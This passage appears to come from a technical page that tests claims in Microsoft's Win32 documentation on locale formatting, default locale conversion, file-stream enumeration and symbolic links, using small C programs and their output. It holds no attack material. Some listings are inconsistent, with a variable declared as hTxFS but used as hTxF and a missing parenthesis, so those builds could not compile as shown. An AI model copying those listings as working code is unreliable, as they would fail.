    		dwCount = ~0UL;
    		dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
    
    		if (!GetProcessPreferredUILanguages(MUI_LANGUAGE_NAME,
    		                                    &dwCount,
    		                                    szBlunder,
    		                                    &dwBlunder))
    			PrintConsole(hError,
    			             L"GetProcessPreferredUILanguages() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hError,
    			             L"Process\t%lu\t%lu\n",
    			             dwCount, dwBlunder);
    		dwCount = ~0UL;
    		dwBlunder = 0UL;
    
    		if (!GetThreadPreferredUILanguages(MUI_LANGUAGE_NAME | MUI_THREAD_LANGUAGES,
    		                                   &dwCount,
    		                                   (LPWSTR) NULL,
    		                                   &dwBlunder))
    			PrintConsole(hError,
    			             L"GetThreadPreferredUILanguages() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hError,
    			             L"Thread\t%lu\t%lu\n",
    			             dwCount, dwBlunder);
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2.:

    .\blunder.exe
    System	1       7
    User	1       7
    Process	4294967295       2
    Process	4294967295       2
    Thread	0       2
    OUCH: the Win32 function GetProcessPreferredUILanguages() fails to set its output parameter *pulNumLanguages to 0 if it retrieves an empty buffer!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 34

The documentation for the Win32 function GetDateFormat() specifies:
Formats a date as a date string for a locale specified by the locale identifier. The function formats either a specified date or the local system date.

[…]

int GetDateFormat(
  [in]            LCID             Locale,
  [in]            DWORD            dwFlags,
  [in, optional]  const SYSTEMTIME *lpDate,
  [in, optional]  LPCTSTR          lpFormat,
  [out, optional] LPTSTR           lpDateStr,
  [in]            int              cchDate
);
[…]

Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.

The function returns 0 if it does not succeed. […]

The documentation for the Win32 function GetTimeFormat() specifies:
Formats time as a time string for a locale specified by identifier. The function formats either a specified time or the local system time.

[…]

int GetTimeFormat(
  [in]            LCID             Locale,
  [in]            DWORD            dwFlags,
  [in, optional]  const SYSTEMTIME *lpTime,
  [in, optional]  LPCTSTR          lpFormat,
  [out, optional] LPTSTR           lpTimeStr,
  [in]            int              cchTime
);
[…]

Returns the number of TCHAR values retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.

This function returns 0 if it does not succeed. […]

The documentation for the Win32 function GetDateFormatEx() specifies:
Formats a date as a date string for a locale specified by name. The function formats either a specified date or the local system date.

[…]

int GetDateFormatEx(
  [in, optional]  LPCTSTR          lpLocaleName,
  [in]            DWORD            dwFlags,
  [in, optional]  const SYSTEMTIME *lpDate,
  [in, optional]  LPCTSTR          lpFormat,
  [out, optional] LPTSTR           lpDateStr,
  [in]            int              cchDate,
  [in, optional]  LPCTSTR          lpCalendar
);
[…]

Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.

This function returns 0 if it does not succeed. […]

The documentation for the Win32 function GetTimeFormatEx() specifies:
Formats time as a time string for a locale specified by name. The function formats either a specified time or the local system time.

[…]

int GetTimeFormatEx(
  [in, optional]  LPCTSTR          lpLocaleName,
  [in]            DWORD            dwFlags,
  [in, optional]  const SYSTEMTIME *lpTime,
  [in, optional]  LPCTSTR          lpFormat,
  [out, optional] LPTSTR           lpTimeStr,
  [in]            int              cchTime
);
[…]

Returns the number of characters retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.

This function returns 0 if it does not succeed. […]

CAVEAT: Win32 functions which write a character string to a buffer typically return the number of characters except the terminating NUL character, even if not stated explicitly – the four functions named above but return the number of characters including the terminating NUL character, without explicitly stating their unusual behaviour.

Falsification

Perform the following 3 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	SYSTEMTIME	st;
    
    	INT	niDate, niTime, niSize;
    	LPWSTR	lpDate, lpTime;
    	WCHAR	szDate[] = L"mm/dd/yyyy";
    	WCHAR	szTime[] = L"hh:mm:ss";
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		GetSystemTime(&st);
    
    		niDate = GetDateFormat(LOCALE_INVARIANT,
    		                       0UL,
    		                       &st,
    		                       szDate,
    		                       szDate,
    		                       sizeof(szDate) / sizeof(*szDate));
    		if (niDate == 0)
    			PrintConsole(hError,
    			             L"GetDateFormat() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			niSize = wcslen(szDate);
    
    			if (niSize != niDate)
    				PrintConsole(hError,
    				             L"GetDateFormat() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
    				             szDate, niDate, niSize);
    		}
    
    		niTime = GetTimeFormat(LOCALE_INVARIANT,
    		                       0UL,
    		                       &st,
    		                       szTime,
    		                       szTime,
    		                       sizeof(szTime) / sizeof(*szTime));
    		if (niTime == 0)
    			PrintConsole(hError,
    			             L"GetTimeFormat() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			niSize = wcslen(szTime);
    
    			if (niSize != niTime)
    				PrintConsole(hError,
    				             L"GetTimeFormat() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
    				             szTime, niTime, niSize);
    		}
    
    		niSize = GetDateFormatEx(LOCALE_NAME_INVARIANT,
    		                         DATE_LONGDATE,
    		                         &st,
    		                         (LPCWSTR) NULL,
    		                         (LPWSTR) NULL,
    		                         0,
    		                         (LPCWSTR) NULL);
    		if (niSize == 0)
    			PrintConsole(hError,
    			             L"GetDateFormatEx() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			lpDate = LocalAlloc(LPTR, niSize * sizeof(*lpDate));
    
    			if (lpDate == NULL)
    				PrintConsole(hError,
    				             L"LocalAlloc() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				niDate = GetDateFormatEx(LOCALE_NAME_INVARIANT,
    				                         DATE_LONGDATE,
    				                         &st,
    				                         (LPCWSTR) NULL,
    				                         lpDate,
    				                         niSize,
    				                         (LPCWSTR) NULL);
    				if (niDate == 0)
    					PrintConsole(hError,
    					             L"GetDateFormatEx() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (niDate != niSize - 1)
    						PrintConsole(hError,
    						             L"GetDateFormatEx() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
    						             lpDate, niDate, wcslen(lpDate));
    
    				if (LocalFree(lpDate) != NULL)
    					PrintConsole(hError,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    
    		niSize = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
    		                         TIME_FORCE24HOURFORMAT,
    		                         &st,
    		                         (LPCWSTR) NULL,
    		                         (LPWSTR) NULL,
    		                         0);
    		if (niSize == 0)
    			PrintConsole(hError,
    			             L"GetTimeFormatEx() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			lpTime = LocalAlloc(LPTR, niSize * sizeof(*lpTime));
    
    			if (lpTime == NULL)
    				PrintConsole(hError,
    				             L"LocalAlloc() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				niTime = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
    				                         TIME_FORCE24HOURFORMAT,
    				                         &st,
    				                         (LPCWSTR) NULL,
    				                         lpTime,
    				                         niSize);
    				if (niTime == 0)
    					PrintConsole(hError,
    					             L"GetTimeFormatEx() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (niTime != niSize - 1)
    						PrintConsole(hError,
    						             L"GetTimeFormatEx() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
    						             lpTime, niTime, wcslen(lpTime));
    
    				if (LocalFree(lpTime) != NULL)
    					PrintConsole(hError,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2.:

    .\blunder.exe
    GetDateFormat() returned date '08/15/2020' of 11 characters, but real string length is 10 characters
    GetTimeFormat() returned time '12:34:56' of 9 characters, but real string length is 8 characters
    GetDateFormatEx() returned date 'Saturday, 15 August 2020' of 25 characters, but real string length is 24 characters
    GetTimeFormatEx() returned time '12:34:56' of 9 characters, but real string length is 8 characters
Note: an exploration of the blunder with the Win32 functions GetCalendarInfo(), GetCalendarInfoEx(), GetCurrencyFormat(), GetCurrencyFormatEx(), GetDurationFormat(), GetDurationFormatEx(), GetGeoInfo(), GetLocaleInfo(), GetLocaleInfoEx(), GetNumberFormat() and GetNumberFormatEx() is left as an exercise to the reader.

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 35

The documentation for the Win32 function ConvertDefaultLocale() states:
Converts a default locale value to an actual locale identifier.
Note This function is only provided for converting partial locale identifiers.
LCID ConvertDefaultLocale(
  [in] LCID Locale
);
[…]

[in] Locale

Default locale identifier value to convert. You can use the MAKELANGID macro to create a locale identifier or use one of the following predefined values.

Windows Vista and later: The following custom locale identifiers are also supported.

[…]

Returns the appropriate locale identifier if successful.

This function returns the value of the Locale parameter if it does not succeed. The function fails when the Locale value is not one of the default values listed above.

OUCH⁰: the preprocessor macro MAKELANGID creates Language Identifiers – the preprocessor macro MAKELCID creates Locale Identifiers!

Falsification

Perform the following 3 simple steps to show the blunder and prove the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szDefault[LOCALE_NAME_MAX_LENGTH];
    	WCHAR	szConvert[LOCALE_NAME_MAX_LENGTH];
    	LCID	lcConvert;
    	LCID	lcDefault = LOCALE_NEUTRAL;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    		do
    		{
    			lcConvert = ConvertDefaultLocale(lcDefault);
    
    			if (lcConvert != lcDefault)
    				if (LCIDToLocaleName(lcDefault,
    				                     szDefault,
    				                     sizeof(szDefault) / sizeof(*szDefault),
    				                     LOCALE_ALLOW_NEUTRAL_NAMES) == 0)
    					PrintConsole(hError,
    					             L"LCIDToLocaleName() returned error %lu for LCID 0x%08lX\n",
    					             dwError = GetLastError(), lcDefault);
    				else if (LCIDToLocaleName(lcConvert,
    				                          szConvert,
    				                          sizeof(szConvert) / sizeof(*szConvert),
    				                          LOCALE_ALLOW_NEUTRAL_NAMES) == 0)
    					PrintConsole(hError,
    					             L"LCIDToLocaleName() returned error %lu for LCID 0x%08lX\n",
    					             dwError = GetLastError(), lcConvert);
    				else
    					PrintConsole(hError,
    					             L"0x%08lX = %ls\n"
    					             L"0x%08lX = %ls\n",
    					             lcDefault, szDefault,
    					             lcConvert, szConvert);
    		}
    		while (lcDefault++ < LOCALE_CUSTOM_UI_DEFAULT);
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2.:

    .\blunder.exe
    0x00000000 = en-US
    0x00000409 = en-US
    0x00000001 = ar
    0x00000401 = ar-SA
    0x00000002 = bg
    0x00000402 = bg-BG
    0x00000003 = ca
    0x00000403 = ca-ES
    0x00000004 = zh-Hans
    0x00000804 = zh-CN
    0x00000005 = cs
    0x00000405 = cs-CZ
    0x00000006 = da
    0x00000406 = da-DK
    0x00000007 = de
    0x00000407 = en-US
    0x00000008 = el
    0x00000408 = el-GR
    0x00000009 = en
    0x00000409 = en-US
    0x0000000A = es
    0x00000C0A = es-ES
    0x0000000B = fi
    0x0000040B = fi-FI
    0x0000000C = fr
    0x0000040C = fr-FR
    0x0000000D = he
    0x0000040D = he-IL
    0x0000000E = hu
    0x0000040E = hu-HU
    0x0000000F = is
    0x0000040F = is-IS
    0x00000010 = it
    0x00000410 = it-IT
    0x00000011 = ja
    0x00000411 = ja-JP
    0x00000012 = ko
    0x00000412 = ko-KR
    0x00000013 = nl
    0x00000413 = nl-NL
    0x00000014 = no
    0x00000414 = nb-NO
    0x00000015 = pl
    0x00000415 = pl-PL
    0x00000016 = pt
    0x00000416 = pt-BR
    0x00000017 = rm
    0x00000417 = rm-CH
    0x00000018 = ro
    0x00000418 = ro-RO
    0x00000019 = ru
    0x00000419 = ru-RU
    0x0000001A = hr
    0x0000041A = hr-HR
    0x0000001B = sk
    0x0000041B = sk-SK
    0x0000001C = sq
    0x0000041C = sq-AL
    0x0000001D = sv
    0x0000041D = sv-SE
    0x0000001E = th
    0x0000041E = th-TH
    0x0000001F = tr
    0x0000041F = tr-TR
    0x00000020 = ur
    0x00000420 = ur-PK
    0x00000021 = id
    0x00000421 = id-ID
    0x00000022 = uk
    0x00000422 = uk-UA
    0x00000023 = be
    0x00000423 = be-BY
    0x00000024 = sl
    0x00000424 = sl-SI
    0x00000025 = et
    0x00000425 = et-EE
    0x00000026 = lv
    0x00000426 = lv-LV
    0x00000027 = lt
    0x00000427 = lt-LT
    0x00000028 = tg
    0x00000428 = tg-Cyrl-TJ
    0x00000029 = fa
    0x00000429 = fa-IR
    0x0000002A = vi
    0x0000042A = vi-VN
    0x0000002B = hy
    0x0000042B = hy-AM
    0x0000002C = az
    0x0000042C = az-Latn-AZ
    0x0000002D = eu
    0x0000042D = eu-ES
    0x0000002E = hsb
    0x0000042E = hsb-DE
    0x0000002F = mk
    0x0000042F = mk-MK
    0x00000032 = tn
    0x00000432 = tn-ZA
    0x00000034 = xh
    0x00000434 = xh-ZA
    0x00000035 = zu
    0x00000435 = zu-ZA
    0x00000036 = af
    0x00000436 = af-ZA
    0x00000037 = ka
    0x00000437 = ka-GE
    0x00000038 = fo
    0x00000438 = fo-FO
    0x00000039 = hi
    0x00000439 = hi-IN
    0x0000003A = mt
    0x0000043A = mt-MT
    0x0000003B = se
    0x0000043B = se-NO
    0x0000003C = ga
    0x0000083C = ga-IE
    0x0000003E = ms
    0x0000043E = ms-MY
    0x0000003F = kk
    0x0000043F = kk-KZ
    0x00000040 = ky
    0x00000440 = ky-KG
    0x00000041 = sw
    0x00000441 = sw-KE
    0x00000042 = tk
    0x00000442 = tk-TM
    0x00000043 = uz
    0x00000443 = uz-Latn-UZ
    0x00000044 = tt
    0x00000444 = tt-RU
    0x00000045 = bn
    0x00000445 = bn-IN
    0x00000046 = pa
    0x00000446 = pa-IN
    0x00000047 = gu
    0x00000447 = gu-IN
    0x00000048 = or
    0x00000448 = or-IN
    0x00000049 = ta
    0x00000449 = ta-IN
    0x0000004A = te
    0x0000044A = te-IN
    0x0000004B = kn
    0x0000044B = kn-IN
    0x0000004C = ml
    0x0000044C = ml-IN
    0x0000004D = as
    0x0000044D = as-IN
    0x0000004E = mr
    0x0000044E = mr-IN
    0x0000004F = sa
    0x0000044F = sa-IN
    0x00000050 = mn
    0x00000450 = mn-MN
    0x00000051 = bo
    0x00000451 = bo-CN
    0x00000052 = cy
    0x00000452 = cy-GB
    0x00000053 = km
    0x00000453 = km-KH
    0x00000054 = lo
    0x00000454 = lo-LA
    0x00000056 = gl
    0x00000456 = gl-ES
    0x00000057 = kok
    0x00000457 = kok-IN
    0x0000005A = syr
    0x0000045A = syr-SY
    0x0000005B = si
    0x0000045B = si-LK
    0x0000005D = iu
    0x0000085D = iu-Latn-CA
    0x0000005E = am
    0x0000045E = am-ET
    0x0000005F = tzm
    0x0000085F = tzm-Latn-DZ
    0x00000061 = ne
    0x00000461 = ne-NP
    0x00000062 = fy
    0x00000462 = fy-NL
    0x00000063 = ps
    0x00000463 = ps-AF
    0x00000064 = fil
    0x00000464 = fil-PH
    0x00000065 = dv
    0x00000465 = dv-MV
    0x00000068 = ha
    0x00000468 = ha-Latn-NG
    0x0000006A = yo
    0x0000046A = yo-NG
    0x0000006B = quz
    0x0000046B = quz-BO
    0x0000006C = nso
    0x0000046C = nso-ZA
    0x0000006D = ba
    0x0000046D = ba-RU
    0x0000006E = lb
    0x0000046E = lb-LU
    0x0000006F = kl
    0x0000046F = kl-GL
    0x00000070 = ig
    0x00000470 = ig-NG
    0x00000078 = ii
    0x00000478 = ii-CN
    0x0000007A = arn
    0x0000047A = arn-CL
    0x0000007C = moh
    0x0000047C = moh-CA
    0x0000007E = br
    0x0000047E = br-FR
    0x00000080 = ug
    0x00000480 = ug-CN
    0x00000081 = mi
    0x00000481 = mi-NZ
    0x00000082 = oc
    0x00000482 = oc-FR
    0x00000083 = co
    0x00000483 = co-FR
    0x00000084 = gsw
    0x00000484 = gsw-FR
    0x00000085 = sah
    0x00000485 = sah-RU
    0x00000086 = qut
    0x00000486 = qut-GT
    0x00000087 = rw
    0x00000487 = rw-RW
    0x00000088 = wo
    0x00000488 = wo-SN
    0x0000008C = prs
    0x0000048C = prs-AF
    0x00000091 = gd
    0x00000491 = gd-GB
    0x00000400 = en-US
    0x00000409 = en-US
    0x00000800 = en-US
    0x00000409 = en-US
    0x00000C00 = en-US
    0x00000409 = en-US
    OUCH¹: the Win32 function ConvertDefaultLocale() fails for the explicitly listed predefined Locale Identifiers 0x0000007F alias LOCALE_INVARIANT, 0x00001000 alias LOCALE_CUSTOM_UNSPECIFIED and 0x00001400 alias LOCALE_CUSTOM_UI_DEFAULT!

    OUCH²: contrary to the last highlighted statement of the documentation cited above it but succeeds for non-default locale identifiers!

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 36

The documentation for the Win32 function FindFirstStreamW() states:
Enumerates the first stream with a ::$DATA stream type in the specified file or directory.

[…]

HANDLE FindFirstStreamW(
  [in]  LPCWSTR            lpFileName,
  [in]  STREAM_INFO_LEVELS InfoLevel,
  [out] LPVOID             lpFindStreamData,
        DWORD              dwFlags
);
[…]

[in] lpFileName

The fully qualified file name.

[…]

If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError.

The documentation for the Win32 function FindFirstStreamTransactedW() states:
Enumerates the first stream in the specified file or directory as a transacted operation.
HANDLE FindFirstStreamTransactedW(
  [in]  LPCWSTR            lpFileName,
  [in]  STREAM_INFO_LEVELS InfoLevel,
  [out] LPVOID             lpFindStreamData,
        DWORD              dwFlags,
  [in]  HANDLE             hTransaction
);
[…]

[in] lpFileName

The fully qualified file name.

The file must reside on the local computer; otherwise, the function fails and the last error code is set to ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE (6805).

[…] This function works on all file systems that supports hard links; otherwise, the function returns ERROR_STATUS_NOT_IMPLEMENTED (6805).

OUCH: ERROR_STATUS_NOT_IMPLEMENTED is unknown – most probably the Win32 error code 1 alias ERROR_INVALID_FUNCTION is meant here, converted from NTSTATUS 0xC0000002 alias STATUS_NOT_IMPLEMENTED!

Falsification

Perform the following 5 simple steps to prove the highlighted statements of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2009-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <ktmw32.h>
    
    #ifdef ERROR_STATUS_NOT_IMPLEMENTED
    #error
    #endif
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WIN32_FIND_STREAM_DATA	fsd;
    
    	DWORD	dwError;
    #ifndef BLUNDER
    	HANDLE	hFind = FindFirstStreamW(L"blunder.exe",
    		                         FindStreamInfoStandard,
    		                         &fsd,
    		                         0UL);
    
    	if (hFind == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		while (FindNextStreamW(hFind, &fsd))
    			continue;
    
    		dwError = GetLastError();
    
    		if (dwError == ERROR_HANDLE_EOF)
    			dwError = ERROR_SUCCESS;
    
    		if (!FindClose(hFind))
    			dwError = GetLastError();
    	}
    #else // BLUNDER
    	HANDLE	hFind;
    	HANDLE	hTxFS = CreateTransaction((LPSECURITY_ATTRIBUTES) NULL,
    		                          (LPGUID) NULL,
    		                          TRANSACTION_DO_NOT_PROMOTE,
    		                          0UL,
    		                          0UL,
    		                          INFINITE,
    		                          L"blunder.exe");
    	if (hTxF == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		hFind = FindFirstStreamTransactedW(L"blunder.exe",
    		                                   FindStreamInfoStandard,
    		                                   &fsd,
    		                                   0UL,
    		                                   hTxF);
    		if (hFind == INVALID_HANDLE_VALUE)
    			dwError = GetLastError();
    		else
    		{
    			while (FindNextStreamW(hFind, &fsd))
    				continue;
    
    			dwError = GetLastError();
    
    			if (dwError == ERROR_HANDLE_EOF)
    				dwError = ERROR_SUCCESS;
    
    			if (!FindClose(hFind))
    				dwError = GetLastError();
    		}
    
    		if (!CloseHandle(hTxF))
    			dwError = GetLastError();
    	}
    #endif // BLUNDER
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    0
    OOPS¹: contrary to the highlighted statement of the first documentation cited above, lpFileName can be a simple unqualified file name!
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib ktmw32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    ktmw32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    0
    OOPS²: contrary to the first highlighted statement of the second documentation cited above, lpFileName can be a simple unqualified file name!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 37

The documentation for the Win32 function CreateSymbolicLink() specifies:
Creates a symbolic link.

[…]

BOOLEAN CreateSymbolicLink(
  [in] LPCTSTR lpSymlinkFileName,
  [in] LPCTSTR lpTargetFileName,
  [in] DWORD   dwFlags
);
[…]

[in] dwFlags

Indicates whether the link target, lpTargetFileName, is a directory.

Value Meaning
0x0 The link target is a file.
SYMBOLIC_LINK_FLAG_DIRECTORY
0x1
The link target is a directory.
SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE
0x2
Specify this flag to allow creation of symbolic links when the process is not elevated. […]

[…]

To remove a symbolic link, delete the file (using DeleteFile or similar APIs) or remove the directory (using RemoveDirectory or similar APIs) depending on what type of symbolic link is used.

OUCH⁰: the highlighted statement of this documentation is but misleading and wrong – bit 20 alias SYMBOLIC_LINK_FLAG_DIRECTORY determines whether the Win32 function CreateSymbolicLink() creates a file or a directory to attach the reparse point in the first place!

Note: the MSDN article Symbolic Link Effects on File Systems Functions fails to specify the behaviour of the Win32 functions MoveFile(), MoveFileEx(), MoveFileTransacted(), MoveFileWithProgress(), RemoveDirectory(), RemoveDirectoryTransacted(), ReOpenFile(), ReplaceFile() and SetCurrentDirectory() on symbolic links!

Falsification

Perform the following 10 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2009-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    #ifndef BLUNDER
    	if (!CreateSymbolicLink(L"Blunder", L".", 0UL))
    		dwError = GetLastError();
    	else
    	{
    #ifdef blunder
    		if (!SetCurrentDirectory(L"Blunder"))
    			dwError = GetLastError();
    #endif
    		if (!DeleteFile(L"Blunder"))
    			dwError = GetLastError();
    	}
    #else // BLUNDER
    	if (!CreateSymbolicLink(L"Blunder", L"blunder.exe", SYMBOLIC_LINK_FLAG_DIRECTORY)
    		dwError = GetLastError();
    	else
    	{
    #ifdef blunder
    		if (!SetCurrentDirectory(L"Blunder"))
    			dwError = GetLastError();
    #endif
    		if (!RemoveDirectory(L"Blunder"))
    			dwError = GetLastError();
    	}
    #endif // BLUNDER
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
